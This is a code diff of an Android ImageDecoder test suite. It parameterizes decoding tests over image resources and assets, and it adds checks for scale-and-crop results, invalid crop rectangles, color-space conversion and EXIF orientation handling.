- public void testCrop() {
+ @Parameters(method = "getRecords")
+ public void testCrop(Record record) {
class Listener implements ImageDecoder.OnHeaderDecodedListener {
public boolean doScale;
public boolean requireSoftware;
@@ -1381,28 +1371,93 @@
};
Listener l = new Listener();
boolean trueFalse[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (boolean doScale : trueFalse) {
- l.doScale = doScale;
- for (boolean requireSoftware : trueFalse) {
- l.requireSoftware = requireSoftware;
- ImageDecoder.Source src = f.apply(record.resId);
+ for (SourceCreator f : mCreators) {
+ for (boolean doScale : trueFalse) {
+ l.doScale = doScale;
+ for (boolean requireSoftware : trueFalse) {
+ l.requireSoftware = requireSoftware;
+ ImageDecoder.Source src = f.apply(record.resId);
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src, l);
- assertEquals(l.cropRect.width(), drawable.getIntrinsicWidth());
- assertEquals(l.cropRect.height(), drawable.getIntrinsicHeight());
- } catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) +
- " with exception " + e);
- }
+ try {
+ Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+ assertEquals(l.cropRect.width(), drawable.getIntrinsicWidth());
+ assertEquals(l.cropRect.height(), drawable.getIntrinsicHeight());
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId)
+ + " with exception " + e);
}
}
}
}
}
+ @Test
+ public void testScaleAndCrop() {
+ class CropListener implements ImageDecoder.OnHeaderDecodedListener {
+ public boolean doCrop = true;
+ public Rect outScaledRect = null;
+ public Rect outCropRect = null;
+
+ @Override
+ public void onHeaderDecoded(ImageDecoder decoder, ImageDecoder.ImageInfo info,
+ ImageDecoder.Source src) {
+ // Use software for pixel comparison.
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+
+ // Scale to a size that is not directly supported by sampling.
+ Size originalSize = info.getSize();
+ int scaledWidth = originalSize.getWidth() * 2 / 3;
+ int scaledHeight = originalSize.getHeight() * 2 / 3;
+ decoder.setTargetSize(scaledWidth, scaledHeight);
+
+ outScaledRect = new Rect(0, 0, scaledWidth, scaledHeight);
+
+ if (doCrop) {
+ outCropRect = new Rect(scaledWidth / 2, scaledHeight / 2,
+ scaledWidth, scaledHeight);
+ decoder.setCrop(outCropRect);
+ }
+ }
+ }
+ CropListener l = new CropListener();
+ ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+
+ // Scale and crop in a single step.
+ Bitmap oneStepBm = null;
+ try {
+ oneStepBm = ImageDecoder.decodeBitmap(src, l);
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ assertNotNull(oneStepBm);
+ assertNotNull(l.outCropRect);
+ assertEquals(l.outCropRect.width(), oneStepBm.getWidth());
+ assertEquals(l.outCropRect.height(), oneStepBm.getHeight());
+ Rect cropRect = new Rect(l.outCropRect);
+
+ assertNotNull(l.outScaledRect);
+ Rect scaledRect = new Rect(l.outScaledRect);
+
+ // Now just scale with ImageDecoder, and crop afterwards.
+ l.doCrop = false;
+ Bitmap twoStepBm = null;
+ try {
+ twoStepBm = ImageDecoder.decodeBitmap(src, l);
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ assertNotNull(twoStepBm);
+ assertEquals(scaledRect.width(), twoStepBm.getWidth());
+ assertEquals(scaledRect.height(), twoStepBm.getHeight());
+
+ Bitmap cropped = Bitmap.createBitmap(twoStepBm, cropRect.left, cropRect.top,
+ cropRect.width(), cropRect.height());
+ assertNotNull(cropped);
+
+ // The two should look the same.
+ assertTrue(BitmapUtils.compareBitmaps(cropped, oneStepBm, .99));
+ }
+
@Test(expected = IllegalArgumentException.class)
public void testResizeZeroX() {
ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
@@ -1478,9 +1533,59 @@
}
}
+ // One static PNG and one animated GIF to test setting invalid crop rects,
+ // to test both paths (animated and non-animated) through ImageDecoder.
+ private static Object[] resourcesForCropTests() {
+ return new Object[] { R.drawable.png_test, R.drawable.animated };
+ }
+
@Test(expected = IllegalStateException.class)
- public void testCropNegativeLeft() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+ @Parameters(method = "resourcesForCropTests")
+ public void testInvertCropWidth(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
+ try {
+ ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ // This rect is unsorted.
+ decoder.setCrop(new Rect(info.getSize().getWidth(), 0, 0,
+ info.getSize().getHeight()));
+ });
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ }
+
+ @Test(expected = IllegalStateException.class)
+ @Parameters(method = "resourcesForCropTests")
+ public void testInvertCropHeight(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
+ try {
+ ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ // This rect is unsorted.
+ decoder.setCrop(new Rect(0, info.getSize().getWidth(),
+ info.getSize().getHeight(), 0));
+ });
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ }
+
+ @Test(expected = IllegalStateException.class)
+ @Parameters(method = "resourcesForCropTests")
+ public void testEmptyCrop(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
+ try {
+ ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ decoder.setCrop(new Rect(1, 1, 1, 1));
+ });
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ }
+
+ @Test(expected = IllegalStateException.class)
+ @Parameters(method = "resourcesForCropTests")
+ public void testCropNegativeLeft(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setCrop(new Rect(-1, 0, info.getSize().getWidth(),
@@ -1492,21 +1597,9 @@
}
@Test(expected = IllegalStateException.class)
- public void testCropNegativeLeftAnimated() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
- try {
- ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setCrop(new Rect(-1, 0, info.getSize().getWidth(),
- info.getSize().getHeight()));
- });
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
-
- @Test(expected = IllegalStateException.class)
- public void testCropNegativeTop() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+ @Parameters(method = "resourcesForCropTests")
+ public void testCropNegativeTop(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setCrop(new Rect(0, -1, info.getSize().getWidth(),
@@ -1518,21 +1611,9 @@
}
@Test(expected = IllegalStateException.class)
- public void testCropNegativeTopAnimated() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
- try {
- ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setCrop(new Rect(0, -1, info.getSize().getWidth(),
- info.getSize().getHeight()));
- });
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
-
- @Test(expected = IllegalStateException.class)
- public void testCropTooWide() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+ @Parameters(method = "resourcesForCropTests")
+ public void testCropTooWide(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setCrop(new Rect(1, 0, info.getSize().getWidth() + 1,
@@ -1543,22 +1624,11 @@
}
}
- @Test(expected = IllegalStateException.class)
- public void testCropTooWideAnimated() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
- try {
- ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setCrop(new Rect(1, 0, info.getSize().getWidth() + 1,
- info.getSize().getHeight()));
- });
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
@Test(expected = IllegalStateException.class)
- public void testCropTooTall() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+ @Parameters(method = "resourcesForCropTests")
+ public void testCropTooTall(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setCrop(new Rect(0, 1, info.getSize().getWidth(),
@@ -1570,23 +1640,9 @@
}
@Test(expected = IllegalStateException.class)
- public void testCropResize() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
- try {
- ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- Size size = info.getSize();
- decoder.setTargetSize(size.getWidth() / 2, size.getHeight() / 2);
- decoder.setCrop(new Rect(0, 0, size.getWidth(),
- size.getHeight()));
- });
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
-
- @Test(expected = IllegalStateException.class)
- public void testCropResizeAnimated() {
- ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
+ @Parameters(method = "resourcesForCropTests")
+ public void testCropResize(int resId) {
+ ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
Size size = info.getSize();
@@ -1753,7 +1809,7 @@
@Test
public void testGetConserveMemory() {
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1887,6 +1943,7 @@
@Test
public void testRespectOrientation() {
+ boolean isWebp = false;
// These 8 images test the 8 EXIF orientations. If the orientation is
// respected, they all have the same dimensions: 100 x 80.
// They are also identical (after adjusting), so compare them.
@@ -1913,9 +1970,10 @@
// Recreate the reference.
reference.recycle();
reference = null;
+ isWebp = true;
}
Uri uri = getAsResourceUri(resId);
- ImageDecoder.Source src = ImageDecoder.createSource(mContentResolver, uri);
+ ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
try {
Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
// Use software allocator so we can compare.
@@ -1928,7 +1986,8 @@
if (reference == null) {
reference = bm;
} else {
- BitmapUtils.compareBitmaps(bm, reference);
+ int mse = isWebp ? 70 : 1;
+ BitmapUtils.assertBitmapsMse(bm, reference, mse, true, false);
bm.recycle();
}
} catch (IOException e) {
@@ -1947,107 +2006,105 @@
private interface ByteBufferSupplier extends Supplier<ByteBuffer> {};
@Test
- public void testOffsetByteArray() {
- for (Record record : RECORDS) {
- int offset = 10;
- int extra = 15;
- byte[] array = getAsByteArray(record.resId, offset, extra);
- int length = array.length - extra - offset;
- // Used for SourceCreators that set both a position and an offset.
- int myOffset = 3;
- int myPosition = 7;
- assertEquals(offset, myOffset + myPosition);
+ @Parameters(method = "getRecords")
+ public void testOffsetByteArray(Record record) {
+ int offset = 10;
+ int extra = 15;
+ byte[] array = getAsByteArray(record.resId, offset, extra);
+ int length = array.length - extra - offset;
+ // Used for SourceCreators that set both a position and an offset.
+ int myOffset = 3;
+ int myPosition = 7;
+ assertEquals(offset, myOffset + myPosition);
- ByteBufferSupplier[] suppliers = new ByteBufferSupplier[] {
- // Internally, this gives the buffer a position, but not an offset.
- () -> ByteBuffer.wrap(array, offset, length),
+ ByteBufferSupplier[] suppliers = new ByteBufferSupplier[] {
+ // Internally, this gives the buffer a position, but not an offset.
+ () -> ByteBuffer.wrap(array, offset, length),
+ // Same, but make it readOnly to ensure that we test the
+ // ByteBufferSource rather than the ByteArraySource.
+ () -> ByteBuffer.wrap(array, offset, length).asReadOnlyBuffer(),
+ () -> {
+ // slice() to give the buffer an offset.
+ ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
+ buf.position(offset);
+ return buf.slice();
+ },
+ () -> {
// Same, but make it readOnly to ensure that we test the
// ByteBufferSource rather than the ByteArraySource.
- () -> ByteBuffer.wrap(array, offset, length).asReadOnlyBuffer(),
- () -> {
- // slice() to give the buffer an offset.
- ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
- buf.position(offset);
- return buf.slice();
- },
- () -> {
- // Same, but make it readOnly to ensure that we test the
- // ByteBufferSource rather than the ByteArraySource.
- ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
- buf.position(offset);
- return buf.slice().asReadOnlyBuffer();
- },
- () -> {
- // Use both a position and an offset.
- ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
+ ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
+ buf.position(offset);
+ return buf.slice().asReadOnlyBuffer();
+ },
+ () -> {
+ // Use both a position and an offset.
+ ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
array.length - extra - myOffset);
- buf = buf.slice();
- buf.position(myPosition);
- return buf;
- },
- () -> {
- // Same, as readOnly.
- ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
- array.length - extra - myOffset);
- buf = buf.slice();
- buf.position(myPosition);
- return buf.asReadOnlyBuffer();
- },
- () -> {
- // Direct ByteBuffer with a position.
- ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
- buf.put(array);
- buf.position(offset);
- return buf;
- },
- () -> {
- // Sliced direct ByteBuffer, for an offset.
- ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
- buf.put(array);
- buf.position(offset);
- return buf.slice();
- },
- () -> {
- // Direct ByteBuffer with position and offset.
- ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
- buf.put(array);
- buf.position(myOffset);
- buf = buf.slice();
- buf.position(myPosition);
- return buf;
- },
- };
- for (int i = 0; i < suppliers.length; ++i) {
- ByteBuffer buffer = suppliers[i].get();
- final int position = buffer.position();
- ImageDecoder.Source src = ImageDecoder.createSource(buffer);
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src);
- assertNotNull(drawable);
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- assertEquals("Mismatch for supplier " + i,
- position, buffer.position());
- }
- }
- }
-
- @Test
- public void testResourceSource() {
- for (Record record : RECORDS) {
- ImageDecoder.Source src = ImageDecoder.createSource(mRes, record.resId);
+ buf = buf.slice();
+ buf.position(myPosition);
+ return buf;
+ },
+ () -> {
+ // Same, as readOnly.
+ ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
+ array.length - extra - myOffset);
+ buf = buf.slice();
+ buf.position(myPosition);
+ return buf.asReadOnlyBuffer();
+ },
+ () -> {
+ // Direct ByteBuffer with a position.
+ ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+ buf.put(array);
+ buf.position(offset);
+ return buf;
+ },
+ () -> {
+ // Sliced direct ByteBuffer, for an offset.
+ ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+ buf.put(array);
+ buf.position(offset);
+ return buf.slice();
+ },
+ () -> {
+ // Direct ByteBuffer with position and offset.
+ ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+ buf.put(array);
+ buf.position(myOffset);
+ buf = buf.slice();
+ buf.position(myPosition);
+ return buf;
+ },
+ };
+ for (int i = 0; i < suppliers.length; ++i) {
+ ByteBuffer buffer = suppliers[i].get();
+ final int position = buffer.position();
+ ImageDecoder.Source src = ImageDecoder.createSource(buffer);
try {
Drawable drawable = ImageDecoder.decodeDrawable(src);
assertNotNull(drawable);
} catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) + " with " + e);
+ fail("Failed with exception " + e);
}
+ assertEquals("Mismatch for supplier " + i,
+ position, buffer.position());
+ }
+ }
+
+ @Test
+ @Parameters(method = "getRecords")
+ public void testResourceSource(Record record) {
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+ try {
+ Drawable drawable = ImageDecoder.decodeDrawable(src);
+ assertNotNull(drawable);
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId) + " with " + e);
}
}
private BitmapDrawable decodeBitmapDrawable(int resId) {
- ImageDecoder.Source src = ImageDecoder.createSource(mRes, resId);
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
try {
Drawable drawable = ImageDecoder.decodeDrawable(src);
assertNotNull(drawable);
@@ -2060,54 +2117,54 @@
}
@Test
- public void testUpscale() {
- final int originalDensity = mRes.getDisplayMetrics().densityDpi;
+ @Parameters(method = "getRecords")
+ public void testUpscale(Record record) {
+ Resources res = getResources();
+ final int originalDensity = res.getDisplayMetrics().densityDpi;
try {
- for (Record record : RECORDS) {
- final int resId = record.resId;
+ final int resId = record.resId;
- // Set a high density. This will result in a larger drawable, but
- // not a larger Bitmap.
- mRes.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_XXXHIGH;
- BitmapDrawable drawable = decodeBitmapDrawable(resId);
+ // Set a high density. This will result in a larger drawable, but
+ // not a larger Bitmap.
+ res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_XXXHIGH;
+ BitmapDrawable drawable = decodeBitmapDrawable(resId);
- Bitmap bm = drawable.getBitmap();
- assertEquals(record.width, bm.getWidth());
- assertEquals(record.height, bm.getHeight());
+ Bitmap bm = drawable.getBitmap();
+ assertEquals(record.width, bm.getWidth());
+ assertEquals(record.height, bm.getHeight());
- assertTrue(drawable.getIntrinsicWidth() > record.width);
- assertTrue(drawable.getIntrinsicHeight() > record.height);
+ assertTrue(drawable.getIntrinsicWidth() > record.width);
+ assertTrue(drawable.getIntrinsicHeight() > record.height);
- // Set a low density. This will result in a smaller drawable and
- // Bitmap, unless the true density is DENSITY_MEDIUM, which matches
- // the density of the asset.
- mRes.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_LOW;
- drawable = decodeBitmapDrawable(resId);
- bm = drawable.getBitmap();
+ // Set a low density. This will result in a smaller drawable and
+ // Bitmap, unless the true density is DENSITY_MEDIUM, which matches
+ // the density of the asset.
+ res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_LOW;
+ drawable = decodeBitmapDrawable(resId);
+ bm = drawable.getBitmap();
- if (originalDensity == DisplayMetrics.DENSITY_MEDIUM) {
- // Although we've modified |densityDpi|, ImageDecoder knows the
- // true density matches the asset, so it will not downscale at
- // decode time.
- assertEquals(bm.getWidth(), record.width);
- assertEquals(bm.getHeight(), record.height);
+ if (originalDensity == DisplayMetrics.DENSITY_MEDIUM) {
+ // Although we've modified |densityDpi|, ImageDecoder knows the
+ // true density matches the asset, so it will not downscale at
+ // decode time.
+ assertEquals(bm.getWidth(), record.width);
+ assertEquals(bm.getHeight(), record.height);
- // The drawable should still be smaller.
- assertTrue(bm.getWidth() > drawable.getIntrinsicWidth());
- assertTrue(bm.getHeight() > drawable.getIntrinsicHeight());
- } else {
- // The bitmap is scaled down at decode time, so it matches the
- // drawable size, and is smaller than the original.
- assertTrue(bm.getWidth() < record.width);
- assertTrue(bm.getHeight() < record.height);
+ // The drawable should still be smaller.
+ assertTrue(bm.getWidth() > drawable.getIntrinsicWidth());
+ assertTrue(bm.getHeight() > drawable.getIntrinsicHeight());
+ } else {
+ // The bitmap is scaled down at decode time, so it matches the
+ // drawable size, and is smaller than the original.
+ assertTrue(bm.getWidth() < record.width);
+ assertTrue(bm.getHeight() < record.height);
- assertEquals(bm.getWidth(), drawable.getIntrinsicWidth());
- assertEquals(bm.getHeight(), drawable.getIntrinsicHeight());
- }
+ assertEquals(bm.getWidth(), drawable.getIntrinsicWidth());
+ assertEquals(bm.getHeight(), drawable.getIntrinsicHeight());
}
} finally {
- mRes.getDisplayMetrics().densityDpi = originalDensity;
+ res.getDisplayMetrics().densityDpi = originalDensity;
}
}
@@ -2150,7 +2207,8 @@
}
}
- private static final AssetRecord[] ASSETS = new AssetRecord[] {
+ private Object [] getAssetRecords() {
+ return new Object [] {
// A null ColorSpace means that the color space is "Unknown".
new AssetRecord("almost-red-adobe.png", 1, 1, false, false, null),
new AssetRecord("green-p3.png", 64, 64, false, false,
@@ -2168,51 +2226,82 @@
ColorSpace.get(ColorSpace.Named.DISPLAY_P3)),
new AssetRecord("grayscale-linearSrgb.png", 32, 32, false, true,
ColorSpace.get(ColorSpace.Named.LINEAR_SRGB)),
- };
+ };
+ }
@Test
- public void testAssetSource() {
- AssetManager assets = mRes.getAssets();
- for (AssetRecord record : ASSETS) {
- ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ @Parameters(method = "getAssetRecords")
+ public void testAssetSource(AssetRecord record) {
+ AssetManager assets = getResources().getAssets();
+ ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ if (record.isF16) {
+ // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
+ // switches to using software.
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+ }
+
+ record.checkColorSpace(null, info.getColorSpace());
+ });
+ assertEquals(record.name, record.width, bm.getWidth());
+ assertEquals(record.name, record.height, bm.getHeight());
+ record.checkColorSpace(null, bm.getColorSpace());
+ } catch (IOException e) {
+ fail("Failed to decode asset " + record.name + " with " + e);
+ }
+ }
+
+ @Test
+ @Parameters(method = "getAssetRecords")
+ public void testTargetColorSpace(AssetRecord record) {
+ AssetManager assets = getResources().getAssets();
+ ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
try {
Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
- if (record.isF16) {
- // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
- // switches to using software.
+ if (record.isF16 || isExtended(cs)) {
+ // CTS infrastructure and some devices fail to create F16
+ // HARDWARE Bitmaps, so this switches to using software.
decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
}
-
- record.checkColorSpace(null, info.getColorSpace());
+ decoder.setTargetColorSpace(cs);
});
- assertEquals(record.name, record.width, bm.getWidth());
- assertEquals(record.name, record.height, bm.getHeight());
- record.checkColorSpace(null, bm.getColorSpace());
+ record.checkColorSpace(cs, bm.getColorSpace());
} catch (IOException e) {
- fail("Failed to decode asset " + record.name + " with " + e);
+ fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
}
}
}
@Test
- public void testTargetColorSpace() {
- AssetManager assets = mRes.getAssets();
- for (AssetRecord record : ASSETS) {
- ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
- for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
- if (record.isF16) {
- // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
- // switches to using software.
- decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
- }
- decoder.setTargetColorSpace(cs);
- });
- record.checkColorSpace(cs, bm.getColorSpace());
- } catch (IOException e) {
- fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
+ @Parameters(method = "getAssetRecords")
+ public void testTargetColorSpaceNoF16HARDWARE(AssetRecord record) {
+ final ColorSpace EXTENDED_SRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+ final ColorSpace LINEAR_EXTENDED_SRGB = ColorSpace.get(
+ ColorSpace.Named.LINEAR_EXTENDED_SRGB);
+ AssetManager assets = getResources().getAssets();
+ ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ for (ColorSpace cs : new ColorSpace[] { EXTENDED_SRGB, LINEAR_EXTENDED_SRGB }) {
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ decoder.setTargetColorSpace(cs);
+ });
+ // If the ColorSpace does not match the request, it should be because
+ // F16 + HARDWARE is not supported. In that case, it should match the non-
+ // EXTENDED variant.
+ ColorSpace actual = bm.getColorSpace();
+ if (actual != cs) {
+ assertEquals(BitmapTest.ANDROID_BITMAP_FORMAT_RGBA_8888,
+ BitmapTest.nGetFormat(bm));
+ if (cs == EXTENDED_SRGB) {
+ assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
+ } else {
+ assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_SRGB), actual);
+ }
}
+ } catch (IOException e) {
+ fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
}
}
}
@@ -2223,84 +2312,83 @@
}
@Test
- public void testTargetColorSpaceUpconvert() {
+ @Parameters(method = "getAssetRecords")
+ public void testTargetColorSpaceUpconvert(AssetRecord record) {
// Verify that decoding an asset to EXTENDED upconverts to F16.
- AssetManager assets = mRes.getAssets();
+ AssetManager assets = getResources().getAssets();
boolean[] trueFalse = new boolean[] { true, false };
final ColorSpace linearExtended = ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB);
final ColorSpace linearSrgb = ColorSpace.get(ColorSpace.Named.LINEAR_SRGB);
- for (AssetRecord record : ASSETS) {
- if (record.isF16) {
- // These assets decode to F16 by default.
- continue;
- }
- ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
- for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
- for (boolean alphaMask : trueFalse) {
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
- // Force software so we can check the Config.
- decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
- decoder.setTargetColorSpace(cs);
- // This has no effect on non-gray assets.
- decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
- });
+ if (record.isF16) {
+ // These assets decode to F16 by default.
+ return;
+ }
+ ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
+ for (boolean alphaMask : trueFalse) {
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ // Force software so we can check the Config.
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+ decoder.setTargetColorSpace(cs);
+ // This has no effect on non-gray assets.
+ decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
+ });
- if (record.isGray && alphaMask) {
- assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
- assertNull(bm.getColorSpace());
+ if (record.isGray && alphaMask) {
+ assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
+ assertNull(bm.getColorSpace());
+ } else {
+ assertSame(cs, bm.getColorSpace());
+ if (isExtended(cs)) {
+ assertSame(Bitmap.Config.RGBA_F16, bm.getConfig());
} else {
- assertSame(cs, bm.getColorSpace());
- if (isExtended(cs)) {
- assertSame(Bitmap.Config.RGBA_F16, bm.getConfig());
+ assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
+ }
+ }
+ } catch (IOException e) {
+ fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
+ }
+
+ // Using MEMORY_POLICY_LOW_RAM prevents upconverting.
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ // Force software so we can check the Config.
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+ decoder.setTargetColorSpace(cs);
+ decoder.setMemorySizePolicy(ImageDecoder.MEMORY_POLICY_LOW_RAM);
+ // This has no effect on non-gray assets.
+ decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
+ });
+
+ assertNotEquals(Bitmap.Config.RGBA_F16, bm.getConfig());
+
+ if (record.isGray && alphaMask) {
+ assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
+ assertNull(bm.getColorSpace());
+ } else {
+ ColorSpace actual = bm.getColorSpace();
+ if (isExtended(cs)) {
+ if (cs == ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB)) {
+ assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
+ } else if (cs == linearExtended) {
+ assertSame(linearSrgb, actual);
} else {
+ fail("Test error: did isExtended() change?");
+ }
+ } else {
+ assertSame(cs, actual);
+ if (bm.hasAlpha()) {
assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
- }
- }
- } catch (IOException e) {
- fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
- }
-
- // Using MEMORY_POLICY_LOW_RAM prevents upconverting.
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
- // Force software so we can check the Config.
- decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
- decoder.setTargetColorSpace(cs);
- decoder.setMemorySizePolicy(ImageDecoder.MEMORY_POLICY_LOW_RAM);
- // This has no effect on non-gray assets.
- decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
- });
-
- assertNotEquals(Bitmap.Config.RGBA_F16, bm.getConfig());
-
- if (record.isGray && alphaMask) {
- assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
- assertNull(bm.getColorSpace());
- } else {
- ColorSpace actual = bm.getColorSpace();
- if (isExtended(cs)) {
- if (cs == ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB)) {
- assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
- } else if (cs == linearExtended) {
- assertSame(linearSrgb, actual);
- } else {
- fail("Test error: did isExtended() change?");
- }
} else {
- assertSame(cs, actual);
- if (bm.hasAlpha()) {
- assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
- } else {
- assertSame(Bitmap.Config.RGB_565, bm.getConfig());
- }
+ assertSame(Bitmap.Config.RGB_565, bm.getConfig());
}
}
- } catch (IOException e) {
- fail("Failed to decode asset " + record.name
- + " with MEMORY_POLICY_LOW_RAM to " + cs + " with " + e);
}
+ } catch (IOException e) {
+ fail("Failed to decode asset " + record.name
+ + " with MEMORY_POLICY_LOW_RAM to " + cs + " with " + e);
}
}
}
@@ -2367,7 +2455,7 @@
Bitmap bm1 = drawToBitmap(first);
Bitmap bm2 = drawToBitmap(second);
- BitmapUtils.compareBitmaps(bm1, bm2);
+ assertTrue(BitmapUtils.compareBitmaps(bm1, bm2));
}
@Test
@@ -2382,52 +2470,92 @@
}
}
+
